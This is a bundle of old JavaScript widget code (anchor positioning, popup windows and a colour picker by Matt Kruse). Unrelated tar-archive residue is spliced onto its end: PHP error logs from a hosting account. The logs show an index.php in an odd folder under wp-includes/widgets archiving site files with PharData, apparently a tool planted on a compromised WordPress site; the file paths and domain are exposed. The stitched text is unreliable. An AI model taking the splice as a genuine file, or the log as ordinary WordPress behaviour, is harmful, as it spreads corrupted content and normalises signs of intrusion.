// If you wish to share this code with others, please just point them
// to the URL instead.
// Please DO NOT link directly to my .js files from your site. Copy
// the files to your server and use them there. Thank you.
// ===================================================================


/* SOURCE FILE: AnchorPosition.js */

/*
AnchorPosition.js
Author: Matt Kruse
Last modified: 10/11/02

DESCRIPTION: These functions find the position of an <A> tag in a document,
so other elements can be positioned relative to it.

COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small
positioning errors - usually with Window positioning - occur on the
Macintosh platform.

FUNCTIONS:
getAnchorPosition(anchorname)
  Returns an Object() having .x and .y properties of the pixel coordinates
  of the upper-left corner of the anchor. Position is relative to the PAGE.

getAnchorWindowPosition(anchorname)
  Returns an Object() having .x and .y properties of the pixel coordinates
  of the upper-left corner of the anchor, relative to the WHOLE SCREEN.

NOTES:

1) For popping up separate browser windows, use getAnchorWindowPosition.
   Otherwise, use getAnchorPosition

2) Your anchor tag MUST contain both NAME and ID attributes which are the
   same. For example:
   <A NAME="test" ID="test"> </A>

3) There must be at least a space between <A> </A> for IE5.5 to see the
   anchor tag correctly. Do not do <A></A> with no space.
*/

// getAnchorPosition(anchorname)
//   This function returns an object having .x and .y properties which are the coordinates
//   of the named anchor, relative to the page.
function getAnchorPosition(anchorname) {
	// This function will return an Object with x and y properties
	var useWindow=false;
	var coordinates=new Object();
	var x=0,y=0;
	// Browser capability sniffing
	var use_gebi=false, use_css=false, use_layers=false;
	if (document.getElementById) { use_gebi=true; }
	else if (document.all) { use_css=true; }
	else if (document.layers) { use_layers=true; }
	// Logic to find position
 	if (use_gebi && document.all) {
		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
		}
	else if (use_gebi) {
		var o=document.getElementById(anchorname);
		x=AnchorPosition_getPageOffsetLeft(o);
		y=AnchorPosition_getPageOffsetTop(o);
		}
 	else if (use_css) {
		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
		}
	else if (use_layers) {
		var found=0;
		for (var i=0; i<document.anchors.length; i++) {
			if (document.anchors[i].name==anchorname) { found=1; break; }
			}
		if (found==0) {
			coordinates.x=0; coordinates.y=0; return coordinates;
			}
		x=document.anchors[i].x;
		y=document.anchors[i].y;
		}
	else {
		coordinates.x=0; coordinates.y=0; return coordinates;
		}
	coordinates.x=x;
	coordinates.y=y;
	return coordinates;
	}

// getAnchorWindowPosition(anchorname)
//   This function returns an object having .x and .y properties which are the coordinates
//   of the named anchor, relative to the window
function getAnchorWindowPosition(anchorname) {
	var coordinates=getAnchorPosition(anchorname);
	var x=0;
	var y=0;
	if (document.getElementById) {
		if (isNaN(window.screenX)) {
			x=coordinates.x-document.body.scrollLeft+window.screenLeft;
			y=coordinates.y-document.body.scrollTop+window.screenTop;
			}
		else {
			x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
			y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
			}
		}
	else if (document.all) {
		x=coordinates.x-document.body.scrollLeft+window.screenLeft;
		y=coordinates.y-document.body.scrollTop+window.screenTop;
		}
	else if (document.layers) {
		x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
		y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
		}
	coordinates.x=x;
	coordinates.y=y;
	return coordinates;
	}

// Functions for IE to get position of an object
function AnchorPosition_getPageOffsetLeft (el) {
	var ol=el.offsetLeft;
	while ((el=el.offsetParent) != null) { ol += el.offsetLeft; }
	return ol;
	}
function AnchorPosition_getWindowOffsetLeft (el) {
	return AnchorPosition_getPageOffsetLeft(el)-document.body.scrollLeft;
	}
function AnchorPosition_getPageOffsetTop (el) {
	var ot=el.offsetTop;
	while((el=el.offsetParent) != null) { ot += el.offsetTop; }
	return ot;
	}
function AnchorPosition_getWindowOffsetTop (el) {
	return AnchorPosition_getPageOffsetTop(el)-document.body.scrollTop;
	}

/* SOURCE FILE: PopupWindow.js */

/*
PopupWindow.js
Author: Matt Kruse
Last modified: 02/16/04

DESCRIPTION: This object allows you to easily and quickly popup a window
in a certain place. The window can either be a DIV or a separate browser
window.

COMPATABILITY: Works with Netscape 4.x, 6.x, IE 5.x on Windows. Some small
positioning errors - usually with Window positioning - occur on the
Macintosh platform. Due to bugs in Netscape 4.x, populating the popup
window with <STYLE> tags may cause errors.

USAGE:
// Create an object for a WINDOW popup
var win = new PopupWindow();

// Create an object for a DIV window using the DIV named 'mydiv'
var win = new PopupWindow('mydiv');

// Set the window to automatically hide itself when the user clicks
// anywhere else on the page except the popup
win.autoHide();

// Show the window relative to the anchor name passed in
win.showPopup(anchorname);

// Hide the popup
win.hidePopup();

// Set the size of the popup window (only applies to WINDOW popups
win.setSize(width,height);

// Populate the contents of the popup window that will be shown. If you
// change the contents while it is displayed, you will need to refresh()
win.populate(string);

// set the URL of the window, rather than populating its contents
// manually
win.setUrl("http://www.site.com/");

// Refresh the contents of the popup
win.refresh();

// Specify how many pixels to the right of the anchor the popup will appear
win.offsetX = 50;

// Specify how many pixels below the anchor the popup will appear
win.offsetY = 100;

NOTES:
1) Requires the functions in AnchorPosition.js

2) Your anchor tag MUST contain both NAME and ID attributes which are the
   same. For example:
   <A NAME="test" ID="test"> </A>

3) There must be at least a space between <A> </A> for IE5.5 to see the
   anchor tag correctly. Do not do <A></A> with no space.

4) When a PopupWindow object is created, a handler for 'onmouseup' is
   attached to any event handler you may have already defined. Do NOT define
   an event handler for 'onmouseup' after you define a PopupWindow object or
   the autoHide() will not work correctly.
*/

// Set the position of the popup window based on the anchor
function PopupWindow_getXYPosition(anchorname) {
	var coordinates;
	if (this.type == "WINDOW") {
		coordinates = getAnchorWindowPosition(anchorname);
		}
	else {
		coordinates = getAnchorPosition(anchorname);
		}
	this.x = coordinates.x;
	this.y = coordinates.y;
	}
// Set width/height of DIV/popup window
function PopupWindow_setSize(width,height) {
	this.width = width;
	this.height = height;
	}
// Fill the window with contents
function PopupWindow_populate(contents) {
	this.contents = contents;
	this.populated = false;
	}
// Set the URL to go to
function PopupWindow_setUrl(url) {
	this.url = url;
	}
// Set the window popup properties
function PopupWindow_setWindowProperties(props) {
	this.windowProperties = props;
	}
// Refresh the displayed contents of the popup
function PopupWindow_refresh() {
	if (this.divName != null) {
		// refresh the DIV object
		if (this.use_gebi) {
			document.getElementById(this.divName).innerHTML = this.contents;
			}
		else if (this.use_css) {
			document.all[this.divName].innerHTML = this.contents;
			}
		else if (this.use_layers) {
			var d = document.layers[this.divName];
			d.document.open();
			d.document.writeln(this.contents);
			d.document.close();
			}
		}
	else {
		if (this.popupWindow != null && !this.popupWindow.closed) {
			if (this.url!="") {
				this.popupWindow.location.href=this.url;
				}
			else {
				this.popupWindow.document.open();
				this.popupWindow.document.writeln(this.contents);
				this.popupWindow.document.close();
			}
			this.popupWindow.focus();
			}
		}
	}
// Position and show the popup, relative to an anchor object
function PopupWindow_showPopup(anchorname) {
	this.getXYPosition(anchorname);
	this.x += this.offsetX;
	this.y += this.offsetY;
	if (!this.populated && (this.contents != "")) {
		this.populated = true;
		this.refresh();
		}
	if (this.divName != null) {
		// Show the DIV object
		if (this.use_gebi) {
			document.getElementById(this.divName).style.left = this.x + "px";
			document.getElementById(this.divName).style.top = this.y;
			document.getElementById(this.divName).style.visibility = "visible";
			}
		else if (this.use_css) {
			document.all[this.divName].style.left = this.x;
			document.all[this.divName].style.top = this.y;
			document.all[this.divName].style.visibility = "visible";
			}
		else if (this.use_layers) {
			document.layers[this.divName].left = this.x;
			document.layers[this.divName].top = this.y;
			document.layers[this.divName].visibility = "visible";
			}
		}
	else {
		if (this.popupWindow == null || this.popupWindow.closed) {
			// If the popup window will go off-screen, move it so it doesn't
			if (this.x<0) { this.x=0; }
			if (this.y<0) { this.y=0; }
			if (screen && screen.availHeight) {
				if ((this.y + this.height) > screen.availHeight) {
					this.y = screen.availHeight - this.height;
					}
				}
			if (screen && screen.availWidth) {
				if ((this.x + this.width) > screen.availWidth) {
					this.x = screen.availWidth - this.width;
					}
				}
			var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled );
			this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"");
			}
		this.refresh();
		}
	}
// Hide the popup
function PopupWindow_hidePopup() {
	if (this.divName != null) {
		if (this.use_gebi) {
			document.getElementById(this.divName).style.visibility = "hidden";
			}
		else if (this.use_css) {
			document.all[this.divName].style.visibility = "hidden";
			}
		else if (this.use_layers) {
			document.layers[this.divName].visibility = "hidden";
			}
		}
	else {
		if (this.popupWindow && !this.popupWindow.closed) {
			this.popupWindow.close();
			this.popupWindow = null;
			}
		}
	}
// Pass an event and return whether or not it was the popup DIV that was clicked
function PopupWindow_isClicked(e) {
	if (this.divName != null) {
		if (this.use_layers) {
			var clickX = e.pageX;
			var clickY = e.pageY;
			var t = document.layers[this.divName];
			if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) {
				return true;
				}
			else { return false; }
			}
		else if (document.all) { // Need to hard-code this to trap IE for error-handling
			var t = window.event.srcElement;
			while (t.parentElement != null) {
				if (t.id==this.divName) {
					return true;
					}
				t = t.parentElement;
				}
			return false;
			}
		else if (this.use_gebi && e) {
			var t = e.originalTarget;
			while (t.parentNode != null) {
				if (t.id==this.divName) {
					return true;
					}
				t = t.parentNode;
				}
			return false;
			}
		return false;
		}
	return false;
	}

// Check an onMouseDown event to see if we should hide
function PopupWindow_hideIfNotClicked(e) {
	if (this.autoHideEnabled && !this.isClicked(e)) {
		this.hidePopup();
		}
	}
// Call this to make the DIV disable automatically when mouse is clicked outside it
function PopupWindow_autoHide() {
	this.autoHideEnabled = true;
	}
// This global function checks all PopupWindow objects onmouseup to see if they should be hidden
function PopupWindow_hidePopupWindows(e) {
	for (var i=0; i<popupWindowObjects.length; i++) {
		if (popupWindowObjects[i] != null) {
			var p = popupWindowObjects[i];
			p.hideIfNotClicked(e);
			}
		}
	}
// Run this immediately to attach the event listener
function PopupWindow_attachListener() {
	if (document.layers) {
		document.captureEvents(Event.MOUSEUP);
		}
	window.popupWindowOldEventListener = document.onmouseup;
	if (window.popupWindowOldEventListener != null) {
		document.onmouseup = new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();");
		}
	else {
		document.onmouseup = PopupWindow_hidePopupWindows;
		}
	}
// CONSTRUCTOR for the PopupWindow object
// Pass it a DIV name to use a DHTML popup, otherwise will default to window popup
function PopupWindow() {
	if (!window.popupWindowIndex) { window.popupWindowIndex = 0; }
	if (!window.popupWindowObjects) { window.popupWindowObjects = new Array(); }
	if (!window.listenerAttached) {
		window.listenerAttached = true;
		PopupWindow_attachListener();
		}
	this.index = popupWindowIndex++;
	popupWindowObjects[this.index] = this;
	this.divName = null;
	this.popupWindow = null;
	this.width=0;
	this.height=0;
	this.populated = false;
	this.visible = false;
	this.autoHideEnabled = false;

	this.contents = "";
	this.url="";
	this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no";
	if (arguments.length>0) {
		this.type="DIV";
		this.divName = arguments[0];
		}
	else {
		this.type="WINDOW";
		}
	this.use_gebi = false;
	this.use_css = false;
	this.use_layers = false;
	if (document.getElementById) { this.use_gebi = true; }
	else if (document.all) { this.use_css = true; }
	else if (document.layers) { this.use_layers = true; }
	else { this.type = "WINDOW"; }
	this.offsetX = 0;
	this.offsetY = 0;
	// Method mappings
	this.getXYPosition = PopupWindow_getXYPosition;
	this.populate = PopupWindow_populate;
	this.setUrl = PopupWindow_setUrl;
	this.setWindowProperties = PopupWindow_setWindowProperties;
	this.refresh = PopupWindow_refresh;
	this.showPopup = PopupWindow_showPopup;
	this.hidePopup = PopupWindow_hidePopup;
	this.setSize = PopupWindow_setSize;
	this.isClicked = PopupWindow_isClicked;
	this.autoHide = PopupWindow_autoHide;
	this.hideIfNotClicked = PopupWindow_hideIfNotClicked;
	}

/* SOURCE FILE: ColorPicker2.js */

/*
Last modified: 02/24/2003

DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB
form. It uses a color "swatch" to display the standard 216-color web-safe
palette. The user can then click on a color to select it.

COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js.
Only the latest DHTML-capable browsers will show the color and hex values
at the bottom as your mouse goes over them.

USAGE:
// Create a new ColorPicker object using DHTML popup
var cp = new ColorPicker();

// Create a new ColorPicker object using Window Popup
var cp = new ColorPicker('window');

// Add a link in your page to trigger the popup. For example:
<A HREF="#" onClick="cp.show('pick');return false;" NAME="pick" ID="pick">Pick</A>

// Or use the built-in "select" function to do the dirty work for you:
<A HREF="#" onClick="cp.select(document.forms[0].color,'pick');return false;" NAME="pick" ID="pick">Pick</A>

// If using DHTML popup, write out the required DIV tag near the bottom
// of your page.
<SCRIPT LANGUAGE="JavaScript">cp.writeDiv()</SCRIPT>

// Write the 'pickColor' function that will be called when the user clicks
// a color and do something with the value. This is only required if you
// want to do something other than simply populate a form field, which is
// what the 'select' function will give you.
function pickColor(color) {
	field.value = color;
	}

NOTES:
1) Requires the functions in AnchorPosition.js and PopupWindow.js

2) Your anchor tag MUST contain both NAME and ID attributes which are the
   same. For example:
   <A NAME="test" ID="test"> </A>

3) There must be at least a space between <A> </A> for IE5.5 to see the
   anchor tag correctly. Do not do <A></A> with no space.

4) When a ColorPicker object is created, a handler for 'onmouseup' is
   attached to any event handler you may have already defined. Do NOT define
   an event handler for 'onmouseup' after you define a ColorPicker object or
   the color picker will not hide itself correctly.
*/
ColorPicker_targetInput = null;
function ColorPicker_writeDiv() {
	document.writeln("<DIV ID=\"colorPickerDiv\" STYLE=\"position:absolute;visibility:hidden;\"> </DIV>");
	}

function ColorPicker_show(anchorname) {
	this.showPopup(anchorname);
	}

function ColorPicker_pickColor(color,obj) {
	obj.hidePopup();
	pickColor(color);
	}

// A Default "pickColor" function to accept the color passed back from popup.
// User can over-ride this with their own function.
function pickColor(color) {
	if (ColorPicker_targetInput==null) {
		alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");
		return;
		}
	ColorPicker_targetInput.value = color;
	}

// This function is the easiest way to popup the window, select a color, and
// have the value populate a form field, which is what most people want to do.
function ColorPicker_select(inputobj,linkname) {
	if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") {
		alert("colorpicker.select: Input object passed is not a valid form input object");
		window.ColorPicker_targetInput=null;
		return;
		}
	window.ColorPicker_targetInput = inputobj;
	this.show(linkname);
	}

// This function runs when you move your mouse over a color block, if you have a newer browser
function ColorPicker_highlightColor(c) {
	var thedoc = (arguments.length>1)?arguments[1]:window.document;
	var d = thedoc.getElementById("colorPickerSelectedColor");
	d.style.backgroundColor = c;
	d = thedoc.getElementById("colorPickerSelectedColorValue");
	d.innerHTML = c;
	}

function ColorPicker() {
	var windowMode = false;
	// Create a new PopupWindow object
	if (arguments.length==0) {
		var divname = "colorPickerDiv";
		}
	else if (arguments[0] == "window") {
		var divname = '';
		windowMode = true;
		}
	else {
		var divname = arguments[0];
		}

	if (divname != "") {
		var cp = new PopupWindow(divname);
		}
	else {
		var cp = new PopupWindow();
		cp.setSize(225,250);
		}

	// Object variables
	cp.currentValue = "#FFFFFF";

	// Method Mappings
	cp.writeDiv = ColorPicker_writeDiv;
	cp.highlightColor = ColorPicker_highlightColor;
	cp.show = ColorPicker_show;
	cp.select = ColorPicker_select;

	// Code to populate color picker window
	var colors = new Array(	"#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099",
							"#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099",
							"#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099",
							"#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF",
							"#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F",
							"#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000",

							"#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399",
							"#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399",
							"#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399",
							"#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF",
							"#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F",
							"#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00",

							"#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699",
							"#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699",
							"#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699",
							"#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F",
							"#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F",
							"#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F",

							"#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999",
							"#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999",
							"#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999",
							"#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF",
							"#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F",
							"#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000",

							"#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99",
							"#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99",
							"#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99",
							"#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF",
							"#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F",
							"#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00",

							"#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99",
							"#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99",
							"#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99",
							"#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F",
							"#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F",
							"#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F",

							"#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666",
							"#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000",
							"#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000",
							"#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999",
							"#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF",
							"#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF",

							"#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66",
							"#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00",
							"#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000",
							"#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099",
							"#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF",
							"#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF",

							"#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF",
							"#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC",
							"#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000",
							"#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900",
							"#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33",
							"#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF",

							"#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF",
							"#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF",
							"#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F",
							"#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F",
							"#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F",
							"#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");
	var total = colors.length;
	var width = 72;
	var cp_contents = "";
	var windowRef = (windowMode)?"window.opener.":"";
	if (windowMode) {
		cp_contents += "<html><head><title>Select Color</title></head>";
		cp_contents += "<body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><span style='text-align: center;'>";
		}
	cp_contents += "<table style='border: none;' cellspacing=0 cellpadding=0>";
	var use_highlight = (document.getElementById || document.all)?true:false;
	for (var i=0; i<total; i++) {
		if ((i % width) == 0) { cp_contents += "<tr>"; }
		if (use_highlight) { var mo = 'onMouseOver="'+windowRef+'ColorPicker_highlightColor(\''+colors[i]+'\',window.document)"'; }
		else { mo = ""; }
		cp_contents += '<td style="background-color: '+colors[i]+';"><a href="javascript:void()" onclick="'+windowRef+'ColorPicker_pickColor(\''+colors[i]+'\','+windowRef+'window.popupWindowObjects['+cp.index+']);return false;" '+mo+'>&nbsp;</a></td>';
		if ( ((i+1)>=total) || (((i+1) % width) == 0)) {
			cp_contents += "</tr>";
			}
		}
	// If the browser supports dynamically changing TD cells, add the fancy stuff
	if (document.getElementById) {
		var width1 = Math.floor(width/2);
		var width2 = width = width1;
		cp_contents += "<tr><td colspan='"+width1+"' style='background-color: #FFF;' ID='colorPickerSelectedColor'>&nbsp;</td><td colspan='"+width2+"' style='text-align: center;' id='colorPickerSelectedColorValue'>#FFFFFF</td></tr>";
		}
	cp_contents += "</table>";
	if (windowMode) {
		cp_contents += "</span></body></html>";
		}
	// end populate code

	// Write the contents to the popup object
	cp.populate(cp_contents+"\n");
	// Move the table down a bit so you can see it
	cp.offsetY = 25;
	cp.autoHide();
	return cp;
	}
14338/error_log000064400002701161151024420100007140 0ustar00[03-Nov-2025 07:29:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 05:29:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 15:42:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 15:51:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:03:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Exception.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
